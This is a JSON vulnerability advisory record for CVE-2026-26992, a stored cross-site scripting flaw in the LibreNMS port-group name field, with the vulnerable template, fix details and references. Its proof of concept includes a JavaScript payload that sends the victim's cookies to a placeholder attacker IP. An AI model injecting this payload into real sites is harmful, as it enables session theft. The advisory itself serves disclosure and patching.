{"id":"CVE-2026-26992","aliases":["GHSA-93fx-g747-695x"],"url":"https://o3.security/vulnerability/CVE-2026-26992","summary":"LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name","details":"### Summary\n**/port-groups name Stored Cross-Site Scripting**\n\n- HTTP POST\n- Request-URI(s): \"/port-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter.\n- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.\n\n### Details\nThe vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/port-group/index.blade.php:_\n```\n@extends('layouts.librenmsv1')\n@section('title', __('Port Groups'))\n@section('content')\n<div class=\"container-fluid\">\n<x-panel id=\"manage-port-groups-panel\">\n// [...Truncated...]\n@foreach($port_groups as $port_group)\n// [...Truncated...]\n\n<button type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Port Group') }}\" aria-label=\"{{ __('Delete') }}\"\n\nonclick=\"delete_pg(this, '{{ $port_group-\n>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')\"> // using the\nport's name in the Delete button functionality without sanitizing for XSS related\ncharacters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Ports > Manage Port Groups\n- Select New Port Group\n- Input `12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the \"Name\" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)`\n- Select Save\n- Select the Delete Icon for the newly created Port Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.","published":"2026-02-20T02:26:32.702Z","modified":"2026-08-12T03:51:28.398681275Z","cvss":null,"epss":{"score":0.00216,"percentile":0.1189,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"librenms/librenms","fixedVersion":"26.2.0"}],"fix":{"url":"https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f","label":"librenms/librenms@882fe6f"},"references":[{"type":"WEB","url":"https://github.com/librenms/librenms/releases/tag/26.2.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26992.json"},{"type":"ADVISORY","url":"https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26992"},{"type":"FIX","url":"https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f"},{"type":"FIX","url":"https://github.com/librenms/librenms/pull/19042"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.398681275Z"}}